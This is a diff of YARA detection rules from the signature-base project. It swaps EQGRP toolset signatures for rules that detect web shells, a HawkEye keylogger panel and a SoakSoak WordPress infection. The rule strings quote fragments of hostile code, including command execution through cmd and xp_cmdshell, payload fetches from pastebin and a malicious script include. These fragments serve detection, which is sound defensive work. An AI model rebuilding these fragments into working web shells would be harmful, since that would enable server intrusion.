-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L284-L297"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cae2437124ad6e69b04a1338b651e33c7358b7fedd0613f3fa1025cf980e14ab"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9027-L9042"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ec3f1e985585e1bf77a46e971a20cd127064a64467761a5a570548dd63ec57e2"
+		score = 50
 		quality = 85
-		tags = ""
+		tags = "WEBSHELL"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e4d24e30e6cc3a0aa0032dbbd2b68c60bac216bef524eaf56296430aa05b3795"
 
 	strings:
-		$s1 = "BinStore enabled implants." fullword ascii
+		$a0 = "<script language=javascript src=http://java-se.com/o.js</script>" fullword
+		$s0 = "<span style=\"font:11px Verdana;\">Password: </span><input name=\"password\" type=\"password\" size=\"20\">"
+		$s1 = "<input type=\"hidden\" name=\"doing\" value=\"login\">"
 
 	condition:
-		1 of them
+		$a0 or ( all of ($s*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Tunnel_State_Reader
+rule SIGNATURE_BASE_JSP_Browser_APT_Webshell
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file tunnel_state_reader"
+		description = "VonLoesch JSP Browser used as web shell by APT groups - jsp File browser 1.1a"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e48c9482-eae5-5c34-b7b2-502d0252f4a0"
-		date = "2016-08-16"
+		id = "06988b5b-ec8b-5a10-b659-3e846057ea51"
+		date = "2014-10-10"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L299-L313"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d0653650aad10e7ff69b7ef1e61fac64310c63cc68c6d924655f082925e4fd04"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9044-L9058"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a352bf394f1b4f70218650758db39225a5a505656299405ccd077592d29480a7"
+		score = 60
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "49d48ca1ec741f462fde80da68b64dfa5090855647520d29e345ef563113616c"
 
 	strings:
-		$s1 = "Active connections will be maintained for this tunnel. Timeout:" fullword ascii
-		$s5 = "%s: compatible with BLATSTING version 1.2" fullword ascii
+		$a1a = "private static final String[] COMMAND_INTERPRETER = {\"" ascii
+		$a1b = "cmd\", \"/C\"}; // Dos,Windows" ascii
+		$a2 = "Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(dir));" ascii
+		$a3 = "ret.append(\"!!!! Process has timed out, destroyed !!!!!\");" ascii
 
 	condition:
-		1 of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Payload
+rule SIGNATURE_BASE_JSP_Jfigueiredo_APT_Webshell
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file payload.py"
+		description = "JSP Browser used as web shell by APT groups - author: jfigueiredo"
 		author = "Florian Roth (Nextron Systems)"
-		id = "949cb68b-e384-578c-a906-a4d9234dc668"
-		date = "2016-08-16"
+		id = "b5080e43-44e2-54fa-b03a-057dc75d14db"
+		date = "2014-12-10"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L315-L329"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "22e2a4809f6646437ab0824238fec791f3760ac305f9c818089797b011425b3d"
-		score = 75
+		reference = "http://ceso.googlecode.com/svn/web/bko/filemanager/Browser.jsp"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9060-L9073"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7efaca469d09ce7ecba4ed38cb0b07d1b9fc4f45172d2ffb6f5d3259c000fdc5"
+		score = 60
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "21bed6d699b1fbde74cbcec93575c9694d5bea832cd191f59eb3e4140e5c5e07"
 
 	strings:
-		$s1 = "can't find target version module!" fullword ascii
-		$s2 = "class Payload:" fullword ascii
+		$a1 = "String fhidden = new String(Base64.encodeBase64(path.getBytes()));" ascii
+		$a2 = "<form id=\"upload\" name=\"upload\" action=\"ServFMUpload\" method=\"POST\" enctype=\"multipart/form-data\">" ascii
 
 	condition:
 		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Eligiblecandidate
+rule SIGNATURE_BASE_JSP_Jfigueiredo_APT_Webshell_2
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file eligiblecandidate.py"
+		description = "JSP Browser used as web shell by APT groups - author: jfigueiredo"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e084b051-4aa1-54b2-9f56-69db386b46d6"
-		date = "2016-08-16"
+		id = "91575627-78c1-5ca1-8180-cc4004df88e8"
+		date = "2014-12-10"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L331-L348"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e7e1b206f9c51ffe0ab016a93d551a9ede8f87adfc38fe70278be8c2f0fe0696"
-		score = 75
+		reference = "http://ceso.googlecode.com/svn/web/bko/filemanager/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9075-L9090"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f7fa5872d8eb4ba1d0b26d966d7650d70b1a10c56945d5a5340b8e1cb5d0f5f0"
+		score = 60
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c4567c00734dedf1c875ecbbd56c1561a1610bedb4621d9c8899acec57353d86"
 
 	strings:
-		$o1 = "Connection timed out. Only a problem if the callback was not received." fullword ascii
-		$o2 = "Could not reliably detect cookie. Using 'session_id'..." fullword ascii
-		$c1 = "def build_exploit_payload(self,cmd=\"/tmp/httpd\"):" fullword ascii
-		$c2 = "self.build_exploit_payload(cmd)" fullword ascii
+		$a1 = "<div id=\"bkorotator\"><img alt=\"\" src=\"images/rotator/1.jpg\"></div>" ascii
+		$a2 = "$(\"#dialog\").dialog(\"destroy\");" ascii
+		$s1 = "<form id=\"form\" action=\"ServFMUpload\" method=\"post\" enctype=\"multipart/form-data\">" ascii
+		$s2 = "<input type=\"hidden\" id=\"fhidden\" name=\"fhidden\" value=\"L3BkZi8=\" />" ascii
 
 	condition:
-		1 of them
+		all of ($a*) or all of ($s*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_BUSURPER_2211_724
+rule SIGNATURE_BASE_Webshell_Insomnia
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file BUSURPER-2211-724.exe"
+		description = "Insomnia Webshell - file InsomniaShell.aspx"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d109210e-14df-5b90-a496-fa8a2454126b"
-		date = "2016-08-16"
+		id = "62ed3695-9ab8-54d4-a9d2-b6270c56ccfb"
+		date = "2014-12-09"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L350-L367"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "834180ef512882cc3b22e79a6bda349678eb5042a3356a50c47eeb36ae453427"
-		score = 75
-		quality = 83
+		reference = "http://www.darknet.org.uk/2014/12/insomniashell-asp-net-reverse-shell-bind-shell/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9092-L9113"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e0cfb2ffaa1491aeaf7d3b4ee840f72d42919d22"
+		logic_hash = "d170c60f94092a38ba4af92283debd059eef2e4c683fd7737ffd60d1a2581d9c"
+		score = 80
+		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d809d6ff23a9eee53d2132d2c13a9ac5d0cb3037c60e229373fc59a4f14bc744"
 
 	strings:
-		$s1 = ".got_loader" fullword ascii
-		$s2 = "_start_text" ascii
-		$s3 = "IMPLANT" fullword ascii
-		$s4 = "KEEPGOING" fullword ascii
-		$s5 = "upgrade_implant" fullword ascii
+		$s0 = "Response.Write(\"- Failed to create named pipe:\");" fullword ascii
+		$s1 = "Response.Output.Write(\"+ Sending {0}<br>\", command);" fullword ascii
+		$s2 = "String command = \"exec master..xp_cmdshell 'dir > \\\\\\\\127.0.0.1" ascii
+		$s3 = "Response.Write(\"- Error Getting User Info<br>\");" fullword ascii
+		$s4 = "string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes," fullword ascii
+		$s5 = "[DllImport(\"Advapi32.dll\", SetLastError = true)]" fullword ascii
+		$s9 = "username = DumpAccountSid(tokUser.User.Sid);" fullword ascii
+		$s14 = "//Response.Output.Write(\"Opened process PID: {0} : {1}<br>\", p" ascii
 
 	condition:
-		all of them
+		3 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Networkprofiler_Orderscans
+rule SIGNATURE_BASE_Hawkeye_PHP_Panel : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file networkProfiler_orderScans.sh"
+		description = "Detects HawkEye Keyloggers PHP Panel"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2d48df0c-f950-5bb6-8d3e-77c2f970eb57"
-		date = "2016-08-16"
+		id = "1d185345-6684-538f-954a-45d57a618a7a"
+		date = "2014-12-14"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L369-L383"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0cdf4f3d8f668ce5d5aab652c83cb4d2a9acc3471ff720448d021707b34402ef"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9115-L9130"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e29b6df4e3aa3892b10e68218320ac76cecb5a1bbe6c48f2276014b972cbbdd8"
+		score = 60
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ea986ddee09352f342ac160e805312e3a901e58d2beddf79cd421443ba8c9898"
 
 	strings:
-		$x1 = "Unable to save off predefinedScans directory" fullword ascii
-		$x2 = "Re-orders the networkProfiler scans so they show up in order in the LP" fullword ascii
+		$s0 = "$fname = $_GET['fname'];" ascii fullword
+		$s1 = "$data = $_GET['data'];" ascii fullword
+		$s2 = "unlink($fname);" ascii fullword
+		$s3 = "echo \"Success\";" fullword ascii
 
 	condition:
-		1 of them
+		all of ($s*) and filesize <600
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Epicbanana_2_1_0_1
+rule SIGNATURE_BASE_Soaksoak_Infected_Wordpress
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file epicbanana_2.1.0.1.py"
+		description = "Detects a SoakSoak infected Wordpress site http://goo.gl/1GzWUX"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cc3346bd-0347-5cf3-b946-5c017d68d93e"
-		date = "2016-08-16"
+		id = "d147af65-72de-50be-9435-bef47eb4842a"
+		date = "2014-12-15"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L385-L399"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "be0b180e0dfdda35725ac6d9c35752a0b56bdbdaf985b6932c7d2ff342d4cde3"
-		score = 75
+		reference = "http://goo.gl/1GzWUX"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9132-L9147"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4cba18a0d14be2795d71a1973265a1742beda57636f64c1974001ecf70e3e91d"
+		score = 60
 		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4b13cc183c3aaa8af43ef3721e254b54296c8089a0cd545ee3b867419bb66f61"
 
 	strings:
-		$s1 = "failed to create version-specific payload" fullword ascii
-		$s2 = "(are you sure you did \"make [version]\" in versions?)" fullword ascii
+		$s0 = "wp_enqueue_script(\"swfobject\");" ascii fullword
+		$s1 = "function FuncQueueObject()" ascii fullword
+		$s2 = "add_action(\"wp_enqueue_scripts\", 'FuncQueueObject');" ascii fullword
 
 	condition:
-		1 of them
+		all of ($s*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Sniffer_Xml2Pcap
+rule SIGNATURE_BASE_Pastebin_Webshell
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file sniffer_xml2pcap"
+		description = "Detects a web shell that downloads content from pastebin.com http://goo.gl/7dbyZs"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c284ac58-923c-5c34-b420-e87797915233"
-		date = "2016-08-16"
+		id = "256051ed-da33-52b4-8bfb-ab990648d8fb"
+		date = "2015-01-13"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L401-L415"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3c3aa9f42edbca32725f8c02023e3b9644162a001ded099513d12f94d70dd4c8"
-		score = 75
+		reference = "http://goo.gl/7dbyZs"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9149-L9171"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e71429e9280c37a90ee77be888ae743a86521d3632afc4eeec480b82a22a1445"
+		score = 70
 		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f5e5d75cfcd86e5c94b0e6f21bbac886c7e540698b1556d88a83cc58165b8e42"
 
 	strings:
-		$x1 = "-s/--srcip <sourceIP>  Use given source IP (if sniffer doesn't collect source IP)" fullword ascii
-		$x2 = "convert an XML file generated by the BLATSTING sniffer module into a pcap capture file." fullword ascii
+		$s0 = "file_get_contents(\"http://pastebin.com" ascii
+		$s1 = "xcurl('http://pastebin.com/download.php" ascii
+		$s2 = "xcurl('http://pastebin.com/raw.php" ascii
+		$x0 = "if($content){unlink('evex.php');" ascii
+		$x1 = "$fh2 = fopen(\"evex.php\", 'a');" ascii
+		$y0 = "file_put_contents($pth" ascii
+		$y1 = "echo \"<login_ok>" ascii
+		$y2 = "str_replace('* @package Wordpress',$temp" ascii
 
 	condition:
-		1 of them
+		1 of ($s*) or all of ($x*) or all of ($y*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Bananaaid
+rule SIGNATURE_BASE_Aspxspy2
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file BananaAid"
+		description = "Web shell - file ASPXspy2.aspx"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bdd3ce51-1809-5b2f-9c7e-6c0b056d022b"
-		date = "2016-08-16"
+		id = "b68e0c98-0136-58d8-a2d6-57abccb1e942"
+		date = "2015-01-24"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L417-L433"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2ae52529547866dcfe66fffb3f5b37eba89844b7675129c66636ebef01b0f49a"
+		reference = "not set"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9173-L9199"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5642387d92139bfe9ae11bfef6bfe0081dcea197"
+		logic_hash = "59c88f8e2542dcde4bf5123147ea2c1ca408925ca966f3f34a4692a3ba7a0935"
 		score = 75
 		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7a4fb825e63dc612de81bc83313acf5eccaa7285afc05941ac1fef199279519f"
 
 	strings:
-		$x1 = "(might have to delete key in ~/.ssh/known_hosts on linux box)" fullword ascii
-		$x2 = "scp BGLEE-" ascii
-		$x3 = "should be 4bfe94b1 for clean bootloader version 3.0; " fullword ascii
-		$x4 = "scp <configured implant> <username>@<IPaddr>:onfig" fullword ascii
+		$s0 = "string iVDT=\"-SETUSERSETUP\\r\\n-IP=0.0.0.0\\r\\n-PortNo=52521\\r\\n-User=bin" ascii
+		$s1 = "SQLExec : <asp:DropDownList runat=\"server\" ID=\"FGEy\" AutoPostBack=\"True\" O" ascii
+		$s3 = "Process[] p=Process.GetProcesses();" fullword ascii
+		$s4 = "Response.Cookies.Add(new HttpCookie(vbhLn,Password));" fullword ascii
+		$s5 = "[DllImport(\"kernel32.dll\",EntryPoint=\"GetDriveTypeA\")]" fullword ascii
+		$s6 = "<p>ConnString : <asp:TextBox id=\"MasR\" style=\"width:70%;margin:0 8px;\" CssCl" ascii
+		$s7 = "ServiceController[] kQmRu=System.ServiceProcess.ServiceController.GetServices();" fullword ascii
+		$s8 = "Copyright &copy; 2009 Bin -- <a href=\"http://www.rootkit.net.cn\" target=\"_bla" ascii
+		$s10 = "Response.AddHeader(\"Content-Disposition\",\"attachment;filename=\"+HttpUtility." ascii
+		$s11 = "nxeDR.Command+=new CommandEventHandler(this.iVk);" fullword ascii
+		$s12 = "<%@ import Namespace=\"System.ServiceProcess\"%>" fullword ascii
+		$s13 = "foreach(string innerSubKey in sk.GetSubKeyNames())" fullword ascii
+		$s17 = "Response.Redirect(\"http://www.rootkit.net.cn\");" fullword ascii
+		$s20 = "else if(Reg_Path.StartsWith(\"HKEY_USERS\"))" fullword ascii
 
 	condition:
-		1 of them
+		6 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Bo : FILE
+rule SIGNATURE_BASE_Webshell_27_9_C66_C99 : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file bo"
+		description = "Detects Webshell - rule generated from from files 27.9.txt, c66.php, c99-shadows-mod.php, c99.php ..."
 		author = "Florian Roth (Nextron Systems)"
-		id = "6aa71528-3ce6-5597-bb1a-e44cff3856d6"
-		date = "2016-08-16"
+		id = "4b985ae7-1ae6-5976-9e8d-0d6b5faed75b"
+		date = "2016-01-11"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L435-L452"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "48c2d3f13283d2a1b7e1010c724f1e68e6002dd9a9779025dfc3a4952bec95bc"
-		score = 75
+		reference = "https://github.com/nikicat/web-malware-collection"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9210-L9235"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "71ae0a3843151a2eec913f62167b23cf9e0c759b18ebe0759174d3503fb23717"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "aa8b363073e8ae754b1836c30f440d7619890ded92fb5b97c73294b15d22441d"
+		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
+		hash2 = "5d7709a33879d1060a6cff5bae119de7d5a3c17f65415822fd125af56696778c"
+		hash3 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
+		hash4 = "80ec7831ae888d5603ed28d81225ed8b256c831077bb8feb235e0a1a9b68b748"
+		hash5 = "6ce99e07aa98ba6dc521c34cf16fbd89654d0ba59194878dffca857a4c34e57b"
+		hash6 = "383d771b55bbe5343bab946fd7650fd42de1933c4c8f32449d9a40c898444ef1"
+		hash7 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
+		hash8 = "615e768522447558970c725909e064558f33d38e6402c63c92a1a8bc62b64966"
+		hash9 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
+		hash10 = "a4db77895228f02ea17ff48976e03100ddfaef7c9f48c1d40462872f103451d5"
 
 	strings:
-		$s1 = "ERROR: failed to open %s: %d" fullword ascii
-		$s2 = "__libc_start_main@@GLIBC_2.0" ascii
-		$s3 = "serial number: %s" fullword ascii
-		$s4 = "strerror@@GLIBC_2.0" fullword ascii
-		$s5 = "ERROR: mmap failed: %d" fullword ascii
+		$s4 = "if (!empty($unset_surl)) {setcookie(\"c99sh_surl\"); $surl = \"\";}" fullword ascii
+		$s6 = "@extract($_REQUEST[\"c99shcook\"]);" fullword ascii
+		$s7 = "if (!function_exists(\"c99_buff_prepare\"))" fullword ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <20KB and all of them )
+		filesize <685KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Seconddate_2211 : FILE
+rule SIGNATURE_BASE_Webshell_Acid_Antisecshell_3 : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file SecondDate-2211.exe"
+		description = "Detects Webshell Acid"
 		author = "Florian Roth (Nextron Systems)"
-		id = "00951270-6189-58b6-8b64-422c4ab15ebe"
-		date = "2016-08-16"
+		id = "68d59f1e-ef35-586b-805d-1e6e3548d092"
+		date = "2016-01-11"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L454-L470"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f51f4cfb3b1c77f03a3627cccfee72e57731b26b01907cc837f246a8f7677580"
-		score = 75
-		quality = 83
+		reference = "https://github.com/nikicat/web-malware-collection"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9237-L9269"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c8c3fcde7afdafe8ead59e24e432fdd4ccae99f96f67b4be3e5a9cd74ff9b2e7"
+		score = 70
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2337d0c81474d03a02c404cada699cf1b86c3c248ea808d4045b86305daa2607"
+		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
+		hash2 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
+		hash3 = "0202f72b3e8b62e5ebc99164c7d4eb8ec5be6a7527286e9059184aa8321e0092"
+		hash4 = "d4424c61fe29d2ee3d8503f7d65feb48341ac2fc0049119f83074950e41194d5"
+		hash5 = "5d7709a33879d1060a6cff5bae119de7d5a3c17f65415822fd125af56696778c"
+		hash6 = "21dd06ec423f0b49732e4289222864dcc055967922d0fcec901d38a57ed77f06"
+		hash7 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
+		hash8 = "816e699014be9a6d02d5d184eb958c49469d687b7c6fb88e878bca64688a19c9"
+		hash9 = "383d771b55bbe5343bab946fd7650fd42de1933c4c8f32449d9a40c898444ef1"
+		hash10 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
+		hash11 = "615e768522447558970c725909e064558f33d38e6402c63c92a1a8bc62b64966"
+		hash12 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
+		hash13 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
+		hash14 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
+		hash15 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
+		hash16 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
+		hash17 = "a4db77895228f02ea17ff48976e03100ddfaef7c9f48c1d40462872f103451d5"
+		hash18 = "1fdf6e142135a34ae1caf1d84adf5e273b253ca46c409b2530ca06d65a55ecbd"
 
 	strings:
-		$s1 = "SD_processControlPacket" fullword ascii
-		$s2 = "Encryption_rc4SetKey" fullword ascii
-		$s3 = ".got_loader" fullword ascii
-		$s4 = "^GET.*(?:/ |\\.(?:htm|asp|php)).*\\r\\n" fullword ascii
+		$s0 = "echo \"<option value=delete\".($dspact == \"delete\"?\" selected\":\"\").\">Delete</option>\";" fullword ascii
+		$s1 = "if (!is_readable($o)) {return \"<font color=red>\".view_perms(fileperms($o)).\"</font>\";}" fullword ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <200KB and all of them )
+		filesize <900KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Config_Jp1_UA
+rule SIGNATURE_BASE_Webshell_C99_4 : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file config_jp1_UA.pl"
+		description = "Detects C99 Webshell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "947e6f90-4eb4-5241-9819-677cee0c15d8"
-		date = "2016-08-16"
+		id = "d5035906-df17-5149-92ae-51e6ec05996e"
+		date = "2016-01-11"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L472-L488"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8dd504bd00f72b1500375fbe451f5abb055cb2ff440f6ae4314b1e3d64097b83"
-		score = 75
+		reference = "https://github.com/nikicat/web-malware-collection"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9271-L9302"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fa095d8da737e24a913eeadaca2882475366bf5cf0911dd9ff44aaa04871cc0f"
+		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
